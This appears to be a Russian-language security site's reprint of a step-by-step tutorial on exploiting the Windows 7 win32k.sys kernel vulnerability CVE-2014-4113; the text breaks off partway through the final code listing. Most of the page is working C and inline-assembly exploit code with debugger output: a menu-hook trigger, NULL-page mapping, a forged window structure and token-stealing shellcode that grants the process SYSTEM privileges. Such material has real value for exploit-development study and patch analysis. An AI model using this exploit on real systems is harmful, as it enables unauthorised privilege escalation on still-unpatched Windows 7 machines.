• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Уязвимости в Windows

На заметку Уязвимости в Windows

Эксплуатация уязвимости в Windows уровня ядра (CVE-2014-4113)
316a55e2326d5589e615dc8f55091f03.png

В данной статье будет описан процесс создания эксплоита на базе относительно простой уязвимости в ядре операционной системы Windows.

Автор: Sam Brown

1.1 Введение

В данной статье будет описан процесс создания эксплоита на базе относительно простой уязвимости в ядре операционной системы Windows. Если до сего момента вы не сталкивались с отладкой ядра, в двух нижеследующих документах дается некоторое описание этой темы:

Брешь описывается под именем CVE-2014-4113 и возникает при некорректной проверке перед использованием указателя. Хотя данная уязвимость не связана с разыменовыванием пустого указателя, во время эксплуатации будут использоваться те же самые техники. Проблемы, связанные с разыменованием пустого указателя не нуждаются в особых объяснениях и возникают в тех случаях, когда участок кода пытается разыменовать переменную со значением NULL/0.

Брешь возникает внутри драйвера win32k.sys, который поддерживает интерфейс графического дисплея на уровне ядра, работающего напрямую с графическим драйвером. В итоге мы имеем поддержку на уровне ядра при выдаче графического контента на экран. Уязвимость находится в функции win32k!xxxHandleMenuMessages при вызове функции xxxMNFindWindowFromPoint, которая возвращает либо указатель на структуру win32k!tagWND или код ошибки (-1 или -5). Функция xxxMNFindWindowFromPoint проверяет только код ошибки -1. Код ошибки -5 передается в функцию xxxSendMessage как правильный указатель, которая затем будет вызывать функцию по указателю внутри структуры tagWND.

Данная уязвимость была исправлена в MS14-058, поэтому я буду работать с непропатченной версией Windows 7 Service Pack 1 32 bit и использовать виртуальную машину с установленной Window 10 для отладки ядра. Настройка рабочей среды описана в статьях, указанных выше.

1.2 Эксплуатация разыменования пустого указателя

Процесс эксплуатации уязвимости, связанной с разыменованием пустого указателя, прост и прямолинеен:
  1. Проецируем пустую (NULL) страницу в пользовательское пространство.

  2. Помещаем поддельную структуру данных на страницу, чтобы спровоцировать запуск шелл-кода.

  3. Активируем уязвимость, связанную с разыменованием.


В поздних версиях Windows невозможно спроецировать пустое адресное пространство, и, по сути, этот класс уязвимостей более не актуален. Однако в Windows 7 данные бреши присутствуют, и поскольку количество машин с этой ОС довольно много, я посчитал нужным рассмотреть данную тему.

1.3 Активация уязвимости

Первый шаг в создании эксплоита – написание надежного кода, активирующего уязвимость. Должен произойти сбой в виртуальной машине, и тогда в отладчике ядра мы сможем увидеть разыменование пустого/некорректного указателя. Инициировать брешь будем на основе отчета от компании Trendlabs, где пошагово рассказывается о том, что нужно сделать:
  1. Создаем окно и двухуровневое всплывающее меню.

  2. Перехватываем (хукаем) вызов winproc того окна.

  3. Отслеживаем всплывающее меню в окне и добавляем обратный вызов (callback) ранее созданного хука.

  4. Обратный вызов изменяет winproc, связанный с меню, на другой обратный вызов.

  5. Внутри обратного вызова меню разрушается и возвращается -5 (PUSH 0xfffffffb; POP EAX).

  6. Доходим до функции xxxMNFindWindowFromPoint() разрушенного меню и возвращаем -5.
В новом проекте Visual Studio начинаем с создания окна и хука функции wndproc внутри этого окна.

#include "stdafx.h"

#include <Windows.h>

/* LRESULT WINAPI DefWindowProc(

_In_ HWND hWnd,

_In_ UINT Msg,

_In_ WPARAM wParam,

_In_ LPARAM lParam

);

hWnd => Handle of the Window the event was triggered on

Msg => Message, the event that has occurred, this could be that window has moved, has been
minimized, clicked on etc

wParam, lParam => extra information depending on the msg recieved. */

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {

//Just pass any messages to the default window procedure

return DefWindowProc(hwnd, msg, wParam, lParam);

}

void _tmain()

{

/*typedef struct tagWNDCLASS {

UINT style;

WNDPROC lpfnWndProc;

int cbClsExtra;

int cbWndExtra;

HINSTANCE hInstance;

HICON hIcon;

HCURSOR hCursor;

HBRUSH hbrBackground;

LPCTSTR lpszMenuName;

LPCTSTR lpszClassName;

} WNDCLASS, *PWNDCLASS;

We don't care about any of the style information but we set any needed values below.
*/

WNDCLASSA wnd_class = { 0 };

//Our custome WndProc handler, inspects any window messages before passing then onto
the default handler

wnd_class.lpfnWndProc = WndProc;

//Returns a handle to the executable that has the name passed to it, passing NULL
means it returns a handle to this executable

wnd_class.hInstance = GetModuleHandle(NULL);

//Random classname - we reference this later when creating a Window of this class

wnd_class.lpszClassName = "abcde";

//Registers the class in the global scope so it can be refered too later.

ATOM tmp = RegisterClassA(&wnd_class);

if (tmp == NULL){

printf("Failed to register window class.\n");

return;

}

/* Does what it says on the tin…

HWND WINAPI CreateWindow(

_In_opt_ LPCTSTR lpClassName, => The name of the Window class to be created, in
this case the class we just registered

_In_opt_ LPCTSTR lpWindowName, => The name to give the window, we don't need to
give it a name.

_In_ DWORD dwStyle, => Style options for the window, here

_In_ int x, => x position to create the window,this time the left edge

_In_ int y, => y position to create the window, this time the top edge

_In_ int nWidth, => Width of the window to create, randomly chosen value

_In_ int nHeight, => Height of the to create, randomly chosen value

_In_opt_ HWND hWndParent, => A handle to the parent window, this is our only
window so NULL

_In_opt_ HMENU hMenu, => A handle to a menu or sub window to attach to the
window, we havent created any yet.

_In_opt_ HINSTANCE hInstance, => A handle to the module the window should be
associated with, for us this executable

_In_opt_ LPVOID lpParam => A pointer to data to be passed to the Window with
the WM_CREATE message on creation, NULL for us as we don't wish to pass anything.

); */

HWND main_wnd = CreateWindowA(wnd_class.lpszClassName, "", WS_OVERLAPPEDWINDOW |
WS_VISIBLE, 0, 0, 640, 480, NULL, NULL, wnd_class.hInstance, NULL);

if (main_wnd == NULL){

printf("Failed to create window instance.\n");

return;

}

}


Далее создаем двухуровневое всплывающее меню, прикрепленное к окну.

//Creates an empty popup menu

HMENU MenuOne = CreatePopupMenu();



if (MenuOne == NULL){

printf("Failed to create popup menu one.\n");

return;

}

/*Menu properties to apply to the empty menu we just created

typedef struct tagMENUITEMINFO {

UINT cbSize;

UINT fMask;

UINT fType;

UINT fState;

UINT wID;

HMENU hSubMenu;

HBITMAP hbmpChecked;

HBITMAP hbmpUnchecked;

ULONG_PTR dwItemData;

LPTSTR dwTypeData;

UINT cch;

HBITMAP hbmpItem;

} MENUITEMINFO, *LPMENUITEMINFO;

*/

MENUITEMINFOA MenuOneInfo = { 0 };

//Default size

MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);

//Selects what properties to retrieve or set when GetMenuItemInfo/SetMenuItemInfo are
called, in this case only dwTypeData which the contents of the menu item.

MenuOneInfo.fMask = MIIM_STRING;

/*Inserts a new menu at the specified position

BOOL WINAPI InsertMenuItem(

_In_ HMENU hMenu, => Handle to the menu the new item should be inserted into,
in our case the empty menu we just created

_In_ UINT uItem, => it should item 0 in the menu

_In_ BOOL fByPosition, => Decided whether uItem is a position or an
identifier, in this case its a position. If FALSE it makes uItem an identifier

_In_ LPCMENUITEMINFO lpmii => A pointer to the MENUITEMINFO structure that contains the
menu item details.

);

*/

BOOL insertMenuItem = InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo);

if (!insertMenuItem){

printf("Failed to insert popup menu one.\n");

DestroyMenu(MenuOne);

return;

}

HMENU MenuTwo = CreatePopupMenu();

if (MenuTwo == NULL){

printf("Failed to create menu two.\n");

DestroyMenu(MenuOne);

return;

}

MENUITEMINFOA MenuTwoInfo = { 0 };

MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);

//On this window hSubMenu should be included in Get/SetMenuItemInfo

MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);

//The menu is a sub menu of the first menu

MenuTwoInfo.hSubMenu = MenuOne;

//The contents of the menu item - in this case nothing

MenuTwoInfo.dwTypeData = "";

//The length of the menu item text - in the case 1 for just a single NULL byte

MenuTwoInfo.cch = 1;

insertMenuItem = InsertMenuItemA(MenuTwo, 0, TRUE, &MenuTwoInfo);

if (!insertMenuItem){

printf("Failed to insert second pop-up menu.\n");

DestroyMenu(MenuOne);

DestroyMenu(MenuTwo);

return;

}


Теперь добавляем первоначальную функцию обратного вызова, которую будем использовать в качестве хука и второй обратный вызов, используемый для разрушения меню и возврата -5.

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.

LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)

{

printf("Callback two called.\n");

EndMenu();

return -5;

}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {

printf("Callback one called.\n");

/* lParam is a pointer to a CWPSTRUCT which is defined as:

typedef struct tagCWPSTRUCT {

LPARAM lParam;

WPARAM wParam;

UINT message;

HWND hwnd;

} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;

*/

if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {

//lparam+12 is a Window Handle pointing to the window - here we are setting
its callback to be our second one

SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);

}

return CallNextHookEx(0, code, wParam, lParam);

}


В конце создаем хук к первому обратному вызову, а затем отслеживаем всплывающее меню для активации уязвимости.

/*

HHOOK WINAPI SetWindowsHookEx(

_In_ int idHook, => The type of hook we want to create, in this case
WH_CALLWNDPROC which means that the callback will be passed any window messages before the
system sends them to the destination window procedure.

_In_ HOOKPROC lpfn, => The callback that should be called when triggered

_In_ HINSTANCE hMod, => If the hook functions is in a dll we pass a handle to the
dll here, not needed in this case.

_In_ DWORD dwThreadId => The thread which the callback should be triggered in,
we want it to be our current thread.

);

*/

HHOOK setWindowsHook = SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL,
GetCurrentThreadId());

if (setWindowsHook == NULL){

printf("Failed to insert call back one.\n");

DestroyMenu(MenuOne);

DestroyMenu(MenuTwo);

return;

}

/* Displays a menu and tracks interactions with it.

BOOL WINAPI TrackPopupMenu(

_In_ HMENU hMenu,

_In_ UINT uFlags,

_In_ int x,

_In_ int y,

_In_ int nReserved,

_In_ HWND hWnd,

_In_opt_ const RECT *prcRect

);

*/

TrackPopupMenu(

MenuTwo, //Handle to the menu we want to display, for us its the submenu we just
created.

0, //Options on how the menu is aligned, what clicks are allowed etc, we don't care.

0, //Horizontal position - left hand side

0, //Vertical position - Top edge

0, //Reserved field, has to be 0

main_wnd, //Handle to the Window which owns the menu

NULL //This value is always ignored...

);



Собираем, запускаем и …

sam-1.png


Рисунок 1: Исключение, связанное с пустым указателем

Несмотря на то, что мы добились появления исключения, наша задача не решена. В отчете компании Trendlabs сказано, что проблема связана со значением -5 (или в шестнадцатеричной форме 0xfffffffb), возвращаемым из функции xxxMNFindWindowFromPoint и затем используемым в качестве базового адреса. Но на рисунке выше ничего подобного не наблюдается. Придется копать глубже.

Чтобы понять, что мы упустили, необходимо разобраться, как работает WndProc и какие сообщения обрабатываются. Для того чтобы GUI-приложение могло обрабатывать и пользовательские события и события уровня ядра, в Windows используется система передачи сообщений. Операционная система взаимодействует с приложением посредством передачи сообщений, у каждого из которых есть свой цифровой код. Сообщения обрабатываются приложением в цикле, где вызывается функция WndProc, которую мы добавили к классу окна. Ядро отсылает эти сообщения при помощи функции win32k!xxxSendMessage. Более подробное объяснение можно найти в MSDN на странице, посвященной сообщениям в Windows. Теперь, с учетом этих знаний, можно рассмотреть функцию xxxMNFindWindowFromPoint в отладчике.

sam-2.png


Рисунок 2: Часть функции xxxMNFindWindowFromPoint

На рисунке показана часть функции, но если посмотреть полную версию, обнаруживается, что во время первого вызова xxxMNFindWindowFromPoint отсылает окну сообщение с кодом ‘0X1EB’.

94eb95e8 50 push eax

94eb95e9 68eb010000 push 1EBh

94eb95ee ff770c push dword ptr [edi+0Ch]

94eb95f1 e8a7fff7ff call win32k!xxxSendMessage (94e3959d)


Если посмотреть на выходной лог во время отработки кода, связанного с активацией уязвимости, на данный момент функции обратного вызова выгружаются во время пересылки сообщения с кодом 0x3 (‘WM_MOVE’). На самом деле, мы хотим, чтобы во время первой отсылки сообщения ‘0X1EB’ выгрузки не происходило, и во время повторного вызова функции обратного вызова возвращалось значение -5, которое затем возвращается функцией win32k!xxxMNFindWindowFromPoint. Обновляем код обратного вызова с учетом новых вводных.

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
printf("Callback one called.\n");
/* lParam is a pointer to a CWPSTRUCT which is defined as:
typedef struct tagCWPSTRUCT {
LPARAM lParam;
WPARAM wParam;
UINT message;
HWND hwnd;
} CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;
*/
//lparam+8 is the message sent to the window, here we are checking for the
undocumented message 0x1EB which is sent to a window when the function
xxxMNFindWindowFromPoint is called
if (*(DWORD *)(lParam + 8) == 0x1EB) {
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
//lparam+12 is a Window Handle pointing to the window - here we are
setting its callback to be our second one
SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC,
(LONG)HookCallbackTwo);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}


Сохраняем внесенные изменения, собираем и запускаем код заново. Ничего не происходит до тех пор, пока я не кликну на выплывающее меню! На данный момент происходит вызов второй функции обратного вызова, система падает, и мы получаем нужный результат!

sam-3.png


Рисунок 3: Правильный крэш лог

Теперь нам необходимо автоматизировать процедуру нажатия на всплывающее меню посредством модификации WndProc.

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
/*
Wait until the window is idle and then send the messages needed to 'click' on the
submenu to trigger the bug
*/
printf("WindProc called with message=%d\n", msg);
if (msg == WM_ENTERIDLE) {
PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);
PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);
PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);
}
//Just pass any other messages to the default window procedure
return DefWindowProc(hwnd, msg, wParam, lParam);
}


Теперь, когда у нас появился надежный код, правильно роняющий систему (проект в Visual Studio можно скачать здесь), настало время разобраться с полезной нагрузкой.

1.4 Составление полезной нагрузки

Если посмотреть на ассемблерный код вокруг того места, где произошло падение, и на структуру win32k!tagWND, указатель на которую возвращает функция xxxMNFindWindowFromPoint, то мы примерно понимаем, как должна выглядеть наша поддельная структура:

win32k!xxxSendMessageTimeout+0xab:
94d893f2 0000 add byte ptr [eax],al
94d893f4 8b3d58ebee94 mov edi,dword ptr [win32k!gptiCurrent (94eeeb58)]
94d893fa 3b7e08 cmp edi,dword ptr [esi+8]
94d893fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (94d89487)
94d89403 8b0e mov ecx,dword ptr [esi]
94d89405 8b15e4d1ee94 mov edx,dword ptr [win32k!gSharedInfo+0x4 (94eed1e4)]
94d8940b 81e1ffff0000 and ecx,0FFFFh
94d89411 0faf0de8d1ee94 imul ecx,dword ptr [win32k!gSharedInfo+0x8 (94eed1e8)]

kd> dt -r win32k!tagWND
+0x000 head : _THRDESKHEAD
+0x000 h : Ptr32 Void
+0x004 cLockObj : Uint4B
+0x008 pti : Ptr32 tagTHREADINFO
+0x000 pEThread : Ptr32 _ETHREAD


На данный момент происходит падение из-за того, что функция xxxSendMessageTimeout пытается получить доступ к указателю на структуру tagTHREADINFO внутри структуры tagWND. Чтобы пройти данную проверку, нужно сделать так, чтобы созданная структура содержала указатель на структуру tagTHREADINFO по смещению 0x3 (должно было быть 8, но поскольку мы отсчитываем от -5, то вместо 8 имеем 3). Начинаем составлять полезную нагрузку с проецирования пустой страницы при помощи функции ‘NtAllocateVirtualMemory’ из библиотеки ntdll.dll. Чтобы использовать функцию ‘NtAllocateVirtualMemory’, необходимо загрузить ntdll.dll, найти местонахождение функций внутри и затем преобразовать полученный указатель к правильному определенному типу. Решаем эту задачу при помощи следующего кода:

//Loads ntdll.dll into the processes memory space and returns a HANDLE to it
HMODULE hNtdll = LoadLibraryA("ntdll");
if (hNtdll == NULL) {
printf("Failed to load ntdll");
return;
}
//Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then cast it a useable function pointer
lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
if (pNtAllocateVirtualMemory == NULL) {
printf("Failed to resolve NtAllocateVirtualMemory.\n");
return;
}
//If we pass 0 or NULL to NtAllocateVirtualMemory it won't allocate anything so we pass 1 which is rounded down to 0.
DWORD base_address = 1;
//Aritary size which is probably big enough - it'll get rounded up to the next memory page
boundary anyway
SIZE_T region_size = 0x1000;
NTSTATUS tmp = pNtAllocateVirtualMemory(
GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should be
done for, we pass this process.
(LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want our
memory allocated at, this will be rounded down to the nearest page boundary and the new
value will written to it
0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be zero
in the base address, this is only used when the base address passed is NULL
&region_size, //RegionSize => How much memory we want allocated, this will be
rounded up to the nearest page boundary and the updated value will be written to the
variable
(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),//ULONG AllocationType => What type of
allocation to be done - the chosen flags mean the memory will allocated at the highest
valid address and will immediately be reserved and committed so we can use it.
PAGE_EXECUTE_READWRITE //ULONG Protect => The page protection flags the memory
should be created with, we want RWX
);
if (tmp != (NTSTATUS)0x0) {
printf("Failed to allocate null page.\n");
return;
}


Мы также должны создать объявление typedef для функции ‘NtAllocateVirtualMemory’, которое берется из документации MSDN для функции ZwAllocateVirtualMemory, и поместить перед функцией main.

typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID *BaseAddress,
IN PULONG ZeroBits,
IN PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect
);



Теперь нам нужно получить указатель на структуру Win32ThreadInfo по смещению 0x3. Этот указатель можно найти для текущего потока выполнения в блоке TEB (Thread Execution Block) по смещению 0x40. Блок TEB можно найти по смещению 0x18 от сегментного регистра fs.

DWORD __stdcall GetPTI() {
__asm {
mov eax, fs:18h
mov eax, [eax + 40h]
}
}


Полученный указатель помещаем по смещению 0x3 в ранее спроецированную пустую страницу.

DWORD pti = GetPTI();
if (pti == NULL) {
printf("Failed to find the Win32ThreadInfo structure for the current thread.\n");
return;
}
//create a pointer to 0x3 where we want to place the Win32ThreadInfo pointer and then place
the pointer in memory.
void* pti_loc = (void *) 0x3;
*(LPDWORD)pti_loc = pti;


Собрав и запустив обновленный код, мы должны пройти проверку на наличие указателя.

sam-4.png


Рисунок 4: Результат работы обновленного кода

Запуская код, мы получаем исключение, связанное с доступом к памяти, при попытке увеличить значение по адресу 0xffffffff. Мы не выделяли память по тому адресу, и, следовательно, нужно внести какие-то изменения. Рассмотрим еще раз дизассемблированную версию функции xxxSendMessageTimeout.

win32k!xxxSendMessageTimeout+0xad:
949493f4 8b3d58ebaa94 mov edi,dword ptr [win32k!gptiCurrent (94aaeb58)]
949493fa 3b7e08 cmp edi,dword ptr [esi+8]
949493fd 0f8484000000 je win32k!xxxSendMessageTimeout+0x140 (94949487)


После прохождения на проверки на присутствие указателя переходим к xxxSendMessageTimeout+0x140.

win32k!xxxSendMessageTimeout+0x140:
94949487 8b87cc000000 mov eax,dword ptr [edi+0CCh]
9494948d 8b400c mov eax,dword ptr [eax+0Ch]
94949490 0b872c010000 or eax,dword ptr [edi+12Ch]
94949496 a820 test al,20h
94949498 7426 je win32k!xxxSendMessageTimeout+0x179 (949494c0)

win32k!xxxSendMessageTimeout+0x153:
9494949a 8b06 mov eax,dword ptr [esi]
9494949c 8945f8 mov dword ptr [ebp-8],eax
9494949f 8b4510 mov eax,dword ptr [ebp+10h]
949494a2 8945f0 mov dword ptr [ebp-10h],eax
949494a5 8b4514 mov eax,dword ptr [ebp+14h]
949494a8 6a04 push 4
949494aa 8d4dec lea ecx,[ebp-14h]
949494ad 8945ec mov dword ptr [ebp-14h],eax
949494b0 33c0 xor eax,eax
949494b2 51 push ecx
949494b3 50 push eax
949494b4 50 push eax
949494b5 895df4 mov dword ptr [ebp-0Ch],ebx
949494b8 8945fc mov dword ptr [ebp-4],eax
949494bb e85deefcff call win32k!xxxCallHook (9491831d)

win32k!xxxSendMessageTimeout+0x179:
949494c0 f6461604 test byte ptr [esi+16h],4
949494c4 8d4518 lea eax,[ebp+18h]
949494c7 50 push eax
949494c8 743b je win32k!xxxSendMessageTimeout+0x1be (94949505)

win32k!xxxSendMessageTimeout+0x183:
949494ca 8d451c lea eax,[ebp+1Ch]
949494cd 50 push eax
949494ce ff15bc04a894 call dword ptr [win32k!_imp__IoGetStackLimits (94a804bc)]
949494d4 8d4518 lea eax,[ebp+18h]
949494d7 2b451c sub eax,dword ptr [ebp+1Ch]
949494da 3d00100000 cmp eax,1000h
949494df 7307 jae win32k!xxxSendMessageTimeout+0x1a1 (949494e8)

win32k!xxxSendMessageTimeout+0x19a:
949494e1 33c0 xor eax,eax
949494e3 e9a9000000 jmp win32k!xxxSendMessageTimeout+0x24a (94949591)

win32k!xxxSendMessageTimeout+0x1a1:
949494e8 ff7514 push dword ptr [ebp+14h]
949494eb ff7510 push dword ptr [ebp+10h]
949494ee 53 push ebx
949494ef 56 push esi
949494f0 ff5660 call dword ptr [esi+60h]


Последняя строка – единственное место, где наш указатель внутри структуры вызывается как функция, и поэтому сюда нужно поместить шелл-код. Но вначале нужно установить корректные значения так, чтобы любая ветвь приходила к этому месту. Единственное место между адресом после прохождения проверки и вызовом функции, где происходит ссылка на значение в нашей структуре, - следующий участок кода:

win32k!xxxSendMessageTimeout+0x179:
949494c0 f6461604 test byte ptr [esi+16h],4
949494c4 8d4518 lea eax,[ebp+18h]
949494c7 50 push eax
949494c8 743b je win32k!xxxSendMessageTimeout+0x1be (94949505)


На данный момент мы не проходим эту проверку. Давайте посмотрим, что произойдет, если мы изменим спроецированную память посредством добавления кода, показанного ниже, после того, как мы помещаем указатель на структуру в спроецированную память.

void* check_loc = (void *)0x11;
*(LPBYTE) check_loc = 0x4;

После повторной сборки и запуска кода после падения ядра получаем следующую информацию в отладчике:

sam-5.png


Рисунок 5: Результат работы обновленного кода

Мы почти у цели! На основе информации из стека мы видим, что идет попытка выполнить код по адресу 0x0, а перед этим идет вызов win32k!xxxSendMessageTimeout+0x1ac, представляющий собой следующую строку кода:

949494f0 ff5660 call dword ptr [esi+60h]

Поскольку на тот момент память не инициализирована, все заканчивается вызовом указателя, состоящим из пустых байтов. Добавив смещение 0x60 в нашу поддельную структуру, содержащую указатель на шелл-код, мы должны суметь вызвать указатель. Из дизассемблированной версии функции ‘xxxSendMessageTimeout’ видно, что перед вызовом указателя в стек кладется четыре аргумента.

win32k!xxxSendMessageTimeout+0x1a1:
949494e8 ff7514 push dword ptr [ebp+14h]
949494eb ff7510 push dword ptr [ebp+10h]
949494ee 53 push ebx
949494ef 56 push esi
949494f0 ff5660 call dword ptr [esi+60h]

Это означает, что в функцию необходимо передать четыре аргумента, которые должен учитывать наш шелл-код. Задача решается посредством использования шелл-кода, захватывающего токены, описанного в этом посте. Необходимо лишь изменить прототип с:

VOID TokenStealingShellcodeWin7()

на:

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four)

и добавить:

return 0;

в конец функции. Теперь помещаем законченный шелл-код и определение его функции перед функцией mail:

// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token
#define SYSTEM_PID 0x004 // SYSTEM Process PID

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; save registers state
xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
return 0;
}



Затем добавляем нижеследующие строки, определяющие поддельную структуру:

void* shellcode_loc = (void *)0x5b;
*(LPDWORD)shellcode_loc = (DWORD)TokenStealingShellcodeWin7;
По результатам успешной активации уязвимости добавляем вызов калькулятора:
system("calc.exe");

Полная версия кода, включая настройку кучи и последующую активацию уязвимости, выглядит так (код также можно скачать отсюда):

#include "stdafx.h"
#include <Windows.h>

//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will
then use it as a pointer.

LRESULT CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)

{

printf("Callback two called.\n");

EndMenu();

return -5;

}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {

printf("Callback one called.\n");

/*lParam is a pointer to a CWPSTRUCT lparam+8 is the message sent to the window,
here we are checking for the undocumented message MN_FINDMENUWINDOWFROMPOINT which is sent
to a window when the function xxxMNFindWindowFromPoint is called */

if (*(DWORD *)(lParam + 8) == 0x1EB) {

if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {

//lparam+12 is a Window Handle pointing to the window - here we are
setting its callback to be our second one

SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC,
(LONG)HookCallbackTwo);

}

}

return CallNextHookEx(0, code, wParam, lParam);

}

LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {

/* Wait until the window is idle and then send the messages needed to 'click' on the
submenu to trigger the bug */

printf("WindProc called with message=%d\n", msg);

if (msg == WM_ENTERIDLE) {

PostMessageA(hwnd, WM_KEYDOWN, VK_DOWN, 0);

PostMessageA(hwnd, WM_KEYDOWN, VK_RIGHT, 0);

PostMessageA(hwnd, WM_LBUTTONDOWN, 0, 0);

}

//Just pass any other messages to the default window procedure

return DefWindowProc(hwnd, msg, wParam, lParam);

}

typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(

IN HANDLE ProcessHandle,

IN PVOID *BaseAddress,

IN PULONG ZeroBits,

IN PSIZE_T RegionSize,

IN ULONG AllocationType,

IN ULONG Protect

);

//Gets a pointer to the Win32ThreadInfo structure for the current thread by indexing into
the Thread Execution Block for the current thread

DWORD __stdcall GetPTI() {

__asm {

mov eax, fs:18h //eax pointer to TEB

mov eax, [eax + 40h] //get pointer to Win32ThreadInfo

}

}

// Windows 7 SP1 x86 Offsets

#define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread

#define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process

#define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId

#define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink

#define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token

#define SYSTEM_PID 0x004 // SYSTEM Process PID

int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {

__asm {

; initialize

pushad; save registers state

xor eax, eax; Set zero

mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread

mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process

mov ecx, eax; Copy current _EPROCESS structure

mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token

mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4

SearchSystemPID:

mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink

sub eax, FLINK_OFFSET

cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId

jne SearchSystemPID

mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token

mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM

; to current process

popad; restore registers state

}

return 0;

}

void _tmain()

{

//Loads ntdll.dll into the processes memory space and returns a HANDLE to it

HMODULE hNtdll = LoadLibraryA("ntdll");

if (hNtdll == NULL) {

printf("Failed to load ntdll");

return;

}

//Get the locations NtAllocateVirtualMemory in ntdll as a FARPROC pointer and then
cast it a useable function pointer

lNtAllocateVirtualMemory pNtAllocateVirtualMemory =
(lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

if (pNtAllocateVirtualMemory == NULL) {

printf("Failed to resolve NtAllocateVirtualMemory.\n");

return;

}

//If we pass 0 or NULL to NtAllocateVirtualMemory it won't allocate anything so we
pass 1 which is rounded down to 0.

DWORD base_address = 1;

//Aritary size which is probably big enough - it'll get rounded up to the next
memory page boundary anyway

SIZE_T region_size = 0x1000;

NTSTATUS tmp = pNtAllocateVirtualMemory(

GetCurrentProcess(), //HANDLE ProcessHandle => The process the mapping should
be done for, we pass this process.

(LPVOID*)(&base_address),// PVOID *BaseAddress => The base address we want
our memory allocated at, this will be rounded down to the nearest page boundary and the new
value will written to it

0, //ULONG_PTR ZeroBits => The number of high-order address bits that must be
zero in the base address, this is only used when the base address passed is NULL

&region_size,

(MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN),

